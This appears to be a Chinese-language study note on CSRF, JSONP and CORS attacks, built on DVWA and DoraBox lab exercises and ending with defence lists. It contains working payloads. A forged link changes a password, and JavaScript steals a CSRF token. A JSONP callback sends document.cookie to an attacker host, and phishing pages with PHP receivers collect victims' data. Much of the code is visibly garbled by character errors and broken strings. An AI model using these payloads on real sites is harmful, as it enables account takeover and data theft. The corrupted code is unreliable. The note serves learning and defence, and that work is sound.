@TOC
1. 概述
1. 定义
Crose-Site Request Forgery,跨站请求伪造,攻击者利用服务器对用户的信任,从而欺骗受害者去服务器上执行受害者不知情的请求。在CSRF的攻击场景中,攻击者会伪造一个请求(一般为链接)),然后欺骗用户进行点击。用户一旦点击,整个攻击也就完成了。所以CSRF攻击也被称为"one click"攻击。
1. 与XSS的区别
(1) XSS是利用用户对服务端的信任,CSRF是利用服务端对用户的信任。
XSS的攻击,主要是让脚本在用户浏览器上执行,服务器端仅仅只是脚本的载体,本身服务器端不会受到攻击利用。
CSRF攻击,攻击者会伪造一个用户发送给服务器的正常链接,其核心主要是要和已登录(已认证)的用户去发请求。
CSRF不需要知道用户的Cookie,CSRF自己并不会发请求给服务器,—切交给用户。
(2) XSS是将恶意代码植入被攻击服务器,利用用户对服务器的信任完成攻击。
而CSRF是攻击者预先在自己攻击服务器的页面植入恶意代码,诱使受害者访问,在受害者不知情的情况下执行了恶意代码。
而攻击服务器是独立的域名或IP地址。
2. CSRF攻击原理:
- 用户C打开浏览器,访问受信任网站A,输入用户名和密码请求登录网站A;
- 在用户信息通过验证后,网站A产生Cookie信息并返回给浏览器,此时用户登录网站A成功,可以正常发送请求到网站A;
- 用户未退出网站A之前,在同一浏览器中,打开一个TAB页访问网站B;
- 网站B接收到用户请求后,返回一些攻击性代码,并发出一个请求要求访问第三方站点A;
- 浏览器在接收到这些攻击性代码后,根据网站B的请求,在用户不知情的情况下携带Cookie信息,向网站A发出请求。网站A并不知道该请求其实是由B发起的,所以会根据用户C的Cookie信息以C的权限处理该请求,导致来自网站B的恶意代码被执行。
1)、CSRF三个要点:
-
道:怎么确定一个接口地址有没有CSRF漏洞?
先在一个浏览器上访问一个网站登录并设置了Cookie后在另一个浏览器利用Cookie同url请求一起发送给这个网站服务器
若成功登录则意味着存在CSRF
-
术:具体怎么操作?
先拿到接口地址(url)抓取正常通信的数据包保存后获得Cookie
后利用这个数据包在另一个域中的再请求一次
如果访问成功则存在跨域的CSRF
-
器:有没有工具可以使用?
burpsuit:CSRF模块
2)、禁止非本网站链接访问(DVWA-medium):
referrer字段记录第三方网站请求
方法:
在攻击机的网站目录下新建一个存放CSRF的POC内容文件,文件命名中有与请求中Host字段相同的内容.
页面需用户以访问超链接方式才可触发CSRF
代码如下:
<a href="http://192.168.31.95/DVWA/vulnerabilities/csrf/?password_new=admin123&password_conf=admin123&Change=Change">
<img src="http://192.168.31.95/Test/test.jpeg"/> //以图片为超链接方式
</a>
利用钓鱼网站交给用户点击
3)、有token的情况的攻击方法(DVWA-high):
- 过关方案的核心在于要发送请求给
http://192.168.112.188/dvwa/vulnerabilities/csrf/
页面,然后从响应中取得Token(通过正则表达式可以提取出来),取得后再将Token和新密码一起发送给http://192.168.112.188/dvwa/vu1ner/abilities/csrf/?user_token=TOKEN&password_new=PASS&password_conf=PASS&Change=Change
页面完成密码修改。 - 先构造一个Javascript原生代码发送AJAX请求的代码:
var tokenUr1 = 'http:/ /192.168.112.188/dvwa/vu1nerabilities/csrf/ ';
var count = 0;
//实例化XMLHttpRequest,用于发送AJAX请求
xmlhttp = new XMLHttpRequest();
//当请求的状态发生变化时,触发执行代码
xmlhttp.onreadystatechange = function() {
//状态码:0:请求未初始化,1:服务器连接已建立,2:请求已接收,3:请求处理中,4:请求已完成,且响应已就绪
if (xmlhttp.readystate == 4 && xmlhttp.status == 200)
{
//取得请求的响应,并从响应中通过正则提取Token
var text = xm1http.responseText ;
var regex = /user_token\'value\=\'C.*?)\'M>/;
var match = text.match(regex);
// alert(match[1]);
var token = match[1];
//发送修改密码的语法
var changeur1 = 'http://192.168.112.188/dvwa/vu1nerabilities/csrf/?
'user_token='+token+'&password_new=test123&password_conf=test123&Change=Change';
if (count == 0) {
count = l; //只发送一次,否则会多次发送
xm1http.open("GET" ,changeur1,false); //false 代表同步方式发送
xmlhttp.send();
}
}
};
xm1http.open("GET",tokenur1,false);
xm1http.send();
- 将上述JavaScript代码放置于攻击服务器上,如http://192.168.112.183/csrf.js
- 想办法将上述存有JS代码的域名嵌入到被攻击者服务器上即可完成。(而这一步,在High级无法实现)
- 可利用存储型XSS嵌入一条可访问该js的链接,如:
<script src="http://192.168.112.183/csrf.js?"+Math.random()></script>
<!--Math.random()产生随机数,不影响请求-->
类似远程包含,包含远程的js代码在本地执行,不属于跨域
3. 网站跨域访问
- 简述
同站条件:1.域名相同(除url文件路径部分) 2.站点相同(url中的文件路径)
同域(域名)条件:1.协议相同 2.域名相同 3.端口号相同
同源策略:
请求头字段中的Origin:记录来源于第三方域名的字段
在浏览器的下列标签,不受同源策略的影响:
<script src="...."> //加载js到本地执行
<img src="....."> //加载图片
<link href="......"> //css文件
<iframe src="...."> //任意资源
- 跨站解决方案:(JSONP)
JSONP回调测试实现跨域:(利用script标签)
第一步:在攻击者服务器上写一个脚本(192.168.255.161/list-json.php)
<?php
$conn = new mysqli('127.0,0,1','root','mysql','learn') or die("连接失败!");
$conn->set_charset('utf-8');
$sql = "select articleid,headline,author from article where articleid<5";
$resut = $conn->query($sql);
$json = json_encode($result->fetch_all(MYSQL_ASSOC));
//输出json数据到页面
echo $GET['callback']."(".$json.")"; //回调函数的名称,接收前端传来的参数值test,后将字符串拼接为:test($json),回应给前端带实参的函数调用
$conn->colse();
?>
第二步:在正常服务器上写前端代码
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width,initial-scale=1.0">
<!--方式一:使用AJAX发送请求-->
<script type="text/javascript">
//实例化XMLHttpRequest,用于发送AAX请求
var listurl = 'http://192.168.225/161/security/list-json.php';
xmlhttp = new XMLHttpRequest();
var count = 0;
//当请求的状态发生变化时,触发执行代码
xmlhttp.onreadystatechange=function(){
if(xm1http.readystate ==4 &&xm1http.status==200){
//取得请求的响应,并从响应中通过正则提取Token
var text = xmlhttp.responseText;
alert(text);
}
};
xmlhttp.open("GET",1isturl,false);
xm1http.send();
</script>
<title>跨页面查看JSON数据</title>
<!--方式二:-->
<!--JSONP回调实现跨域-->
<script>
//先定义函数
function test(args){
alert(JSON.stringify(args)); //转换成json字符串
}
</script>
<!--调用函数-->
<script src="http://192.168.255.161/list-json.php?callback=test"></script>
<!--其中url地址为攻击者服务器网站,先向攻击服务器请求,参数传入值为test,后接收攻击服务器传来的test(实参)函数,从而调用test()函数-->
</head>
<body>
</body>
</html>
json存在的限制: 只能处理GET请求,必须经过回调,在真实场景中比较受局限
- JSONP回调漏洞
漏洞一:利用回调GetCookie(获取用户Cookie)
当在list-json.html页面中,直接构造以下Payload,则会导致弹窗
<!--http://192.168.112.183/1ist-json.php存在攻击者服务器上-->
<script src="http://192.168.112.183/1ist-json.php?ca11back=alert(1);//"></script>
那么,在弹窗位置,则可以实现利用,比如发送当前页面的Cookie到183的xssrecv.php页面上,Payload如下:;
<script src="http:/ /192.168.112.183/list-json.php?
callback=location.href='http://192.168.112.183/xssrecv.php?
cookie='%2Bdocument.cookie%2B'%26ur1='%2B1ocation.href;//"></script>
<!--%2B为‘+’起连接作用,%26为‘&’符号-->
经过标准服务器 http://192.168.112.188/security/list-json.html访问上述页面,即可完成Get Cookie只要通过XSS漏洞将包含上述Payload的HTML页面连接交给用户访问到,或者引诱登录用户点击,则可以直接获取用户Cookie等数据。
漏洞二:利用CSRF获取数据
当发现某个站点存在JSONP跨域漏洞之后,则只需要构造一个链接,让被攻击者在登录状态下点击,然后在188服务器上的lst-json.html页面中的alert()的位置将获取到的数据发送给攻击服务器即可。
在DoraBox靶场环境中,存在这样一行代码:
$ca11back = htmlspecialchars(S_GET[ 'ca11back ']); //将传进来的数据转成正常字符
上述代码将跨域网站提交过去的callback的内容进行了转义,杜绝了XSS漏洞获取Cookie的漏洞。但是该页面依然存在)SONP漏洞,在攻击服务器192.168.112.183上添加jsonpuse.html页面,访问正常服务器192.168.112.188上的Dorabox的JSONP漏洞页面,代码:
dorabox靶场服务器(正常服务器)
/*jsonp.php*/
<?php
include "../class/function.class.php";
$reqMethod = "GET";
$reqValue = "callback";
$p = new Func($reqMethod, $reqValue);
$info = array('username' => 'Vulkey_Chen', 'mobilephone' => '13188888888', 'email' => 'admin@gh0st.cn', 'address' => '中华人民共和国', 'sex' => 'Cool Man');
if(!@$_GET['callback']){
echo $p -> con_function('json_encode',$info);
}else{
$callback = htmlspecialchars($_GET['callback']);
echo "{$callback}(" . $p -> con_function('json_encode',$info) . ")";
//关键是这行代码,回调
}
?>
同时在攻击者服务器:
<!--jsonpuse.html,钓鱼页面-进行跨域-->
<! DOCTYPE htm1>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width,initia1-scale=1.0"><title>List-SONP</title>
<script>
function test(args) {
location.href="http://192.168.112.183/jsonprecv.php?value="+
JSON.stringify(args)+"&referer="+document.referrer;
}
</script>
<script src="http://192.168.112.188/dorabox/csrf/jsonp.php?callback=test"></script>
</head>
<body>
Good Boy.
</body>
</html>
再写个php代码接收数据
<?php
$ipaddr = $_SERVER['REMOTE_ADDR'];
$url = $_GET['referer'];
$value = $_GET[ 'value' ];
$conn = new mysqli('127.0.0.1','root','123456','learn ') or die("数据库连接不成功.");
$conn->set_charset ("utf8");
$sql = "insert into xssdata(ipaddr,url,cookie,createtime) values ('$ipaddr','$url','$value',now())";
$conn->query($sql);
//echo "<script>history.back( ) ;</script>";
echo "<script>location.href='http : //www .woniunote.com/ '</script>";
?>
此时,在188的Dorabox服务器中,利用XSS漏洞生成一个连接到183攻击服务器的”http;//192.168.112.183l/jsonpuse.html"页面,完成数据泄漏攻击。(或者直接让用户点击也可以)
JSON攻击防御方案:
产生JSONP攻击的核心在于没有对调用方进行校验
(1)前后端约定jsonp请求的js的回调函数名,不能自己定义回调名称。
(2)严格安全的实现CSRF方式调用JSON文件:限制Referer、部署一次性Token或其他Token验证等。
(3)严格按照JSON格式标准输出Content-Type及编码(Content-Type : application/json; charset=utf-8 ),避免被XSS利用。可以在PHP源码中添加header ("content-type: application/json");即可。
(4)严格过滤callback函数名及JSON里数据的输出。
(5)严格限制对JSONP输出callback函数名的长度和内容。
(6)其他一些比较“猥琐”的方法:如在Callback输出之前加入其他字符(如:/**/、回车换行)这样不影响JSON文件加载,又能一定程度预防其他文件格式的输出。还比如Gmail早起使用AJAX的方式获取 JSON,通过在输出JSON之前加入while(1);这样的代码来防止JS远程调用。(可以试试)。
4. CORS跨域访问漏洞
4.1 什么是CORS
全称是"跨域资源共享”(Cross-Origin Resource Sharing),CORS规范规定了在Web服务器和浏览器之间交换的标头内容,该标头内容限制了源域之外的域请求web资源。CORS规范标识了协议头中Access-Control-Allow-Origin最重要的一组。当网站请求跨域资源时,服务器将返回此标头,并由浏览器添加标头Origin。
4.2 如何使用CORS
- cors.php
在攻击者服务器实现以下代码:
<?php
//连接数据库并访问数据
$conn = new mysq1i('127.0.0.1','root','123456','learn') or die("数据库连接不成功.");
$conn->set_charset('utf8');
$sq1 = "select articleid,author,viewcount,createtime from article where articleid<5";
$result = $conn->query($sq1);
//输出35ON数据到页面
$json = json_encode($result->fetch_all(YSQLI_ASSOC));
echo $json;
$conn->close();
?>
- cors.html
在目标服务器188,实现以下HTML,去跨域访问攻击者服务器上的cors.php
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<script src="jquery-3.4.1.min.js"></script>
<title>Document</title>
<script>
$.get("http://192.168.112.183/cors.php',function(data){
// $.get( "'http://192.168.112.183/dorabox/csrf/userinfo.php',function(data){
alert(data); //测试
});
</script>
</head>
<body>
</body>
</html>
- 此时,由于同源策略的限制,目标服务器无法访问攻击者服务器。
- 优化攻击者服务器的cors.php,允许任意主机跨域访问
<?php
//连接数据库并访问数据
$conn = new mysq1i('127.0.0.1','root','123456','learn') or die("数据库连接不成功.");
$conn->set_charset('utf8');
$sq1 = "select articleid,author,viewcount,createtime from article where articleid<5";
$result = $conn->query($sq1);
//输出35ON数据到页面
$json = json_encode($result->fetch_all(YSQLI_ASSOC));
/*
//白名单机制进行过滤
$list = array('http://192.168.112.189','http://192.168.132.98');
if(in_array($_SERVER['HTTP_ORIGIN'],$list)){
header("Access-Control-Allow-Origin: ". $_SERVER['HTTP_ORIGIN']);
echo $_SERVER['HTTP_ORIGIN'] . '---------';
}
else{
die("Cross-Site Disallowd");
}
*/
header("Access-Control-Allow-Origin: *"); //添加这一行代码,*号代表任意主机
echo $json;
$conn->close();
?>
通常情况下,不建议设置为*,因为会导致完全的接口暴露
- 辅助的响应头
Access-Control-Allow-Origin: *
Access-Contro1-A11ow-Methods: POST,OPTIONS,GET //请求的类型
Accgss-Contro1-ax-Age: 3600 //生命周期
Access-Contro1-Allow-Headers: accept, x-requested-with, Content-Type //可以接受的请求头
Access-Contro1-A11ow-Credentials: true //是否允许发送Cookie
Access-Contro1-A11ow-Origin: http://192.168.10.118:8070 //只允许哪个源访问
4.3 使用白名单防御跨域漏洞
/*
在服务端源代码中添加
*/
$list = array('http://192.168.112.189','http://192.168.132.98');
if(in_array($_SERVER['HTTP_ORIGIN'],$list)){
header("Access-Control-Allow-Origin: ". $_SERVER['HTTP_ORIGIN']);
echo $_SERVER['HTTP_ORIGIN'] . '---------';
}
else{
die("Cross-Site Disallowd");
}
渗透流程:
- 写好钓鱼网页,cors.html代码如下:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width,initial-scale=1.0">
<script src="jquery-3.4.1.min.js"></script>
<title>Document</title>
<script>
$.get('http://192.168.255.161/dorabox/csrf/userinfo.php',function(data){
location.href = 'http://192.168.255.103/phpcode/corsrecv.php?data='+data+'&url='+url;
/*
192.168.112.188 | 192.168.255.161为目标服务器
192.168.112.183 | 192.168.255.103为攻击者服务器
corsrecv.php为攻击者服务器接收用户数据的文件
*/
});
</script>
</head>
<body>
</body>
</html>
-
将链接http://192.168.112.183/cors.html给用户点击
-
在攻击者服务器上写corsrecv.php收集用户信息
<?php
/*需要修改*/
//$data = $_SERVER['data'];
$data = $_GET['data'];
$url = $GET['url'];
$conn = new mysqli('127.0.0.1','root','123456','learn') or die("数据库连接不成功.");
$conn->set_charset ("utf8");
$sql = "insert into corsdata(data,url,creatime) values ('$data','$url',now())";
$conn->query($sql);
//echo "<script>history.back( ) ;</script>";
//echo "<script>location.href='http : //www .woniunote.com/ '</script>";
?>
4.4 预防CORS漏洞
CORS漏洞主要是由于配置错误而引起的。所以,预防漏洞变成了一个配置问题。下面介绍了一些针对CORS攻击的有效防御措施。
-
正确配置跨域请求
如果Web资源包含敏感信息,则应在Access-Control-Allow-Origin标头中正确指定来源。 -
只允许信任的网站
看起来似乎很明显,但是Access-Control-Allow-Origin中指定的来源只能是受信任的站点。特别是,使用通配符来表示允许的跨域请求的来源而不进行验证很容易被利用,应该避免。 -
避免将null列入白名单
避免使用标题Access-Control-Allow-Origin: null。来自内部文档和沙盒请求的跨域资源调用可以指定null来源。应针对私有和公共服务器的可信来源正确定义CORS头。 -
避免在内部网络中使用通配符
避免在内部网络中使用通配符。当内部浏览器可以访问不受信任的外部域时,仅靠信任网络配置来保护内部资源是不够的。 -
CORS不能替代服务器端安全策略
CORS定义了浏览器的行为,绝不能替代服务器端对敏感数据的保护-攻击者可以直接从任何可信来源伪造请求。因此,除了正确配置的CORS之外,Web服务器还应继续对敏感数据应用保护,例如身份验证和会话管理。 -
CSRF防御
(1)避免在URL中明文显示特定操作的参数内容;
(2)使用同步令牌(Synchronizer Token),检查客户端请求是否包含令牌及其有效性;(常用的做法,并且保证每次token的值完全随机且每次都不同)
(3)检查Referer Header,拒绝来自非本网站的直接URL请求。
(4)不要在客户端保存敏感信息(比如身份认证信息);
(5)设置会话过期机制,比如20分钟无操作,直接登录超时退出;
(6)敏感信息的修改时需要对身份进行二次确认,比如修改账号时,需要判断l旧密码;
(7)敏感信息的修改使用post而不是get
(8)避免交叉漏洞,如XSS等
(9)禁止跨域访问
(10)在响应中设置CSP (Content-Security-Policy)内容安全策略
5. 攻击要点
(1)服务器没有对操作来源进行判断,如IP、Referer等
(2)受害者处于登录状态,但是攻击者无法拿到Cookie
(3)攻击者需要找到一条可以修改或获取敏感信息的请求
参考文章:CORS预检请求
本文为学习所记,或有所不足之处,请多多见谅!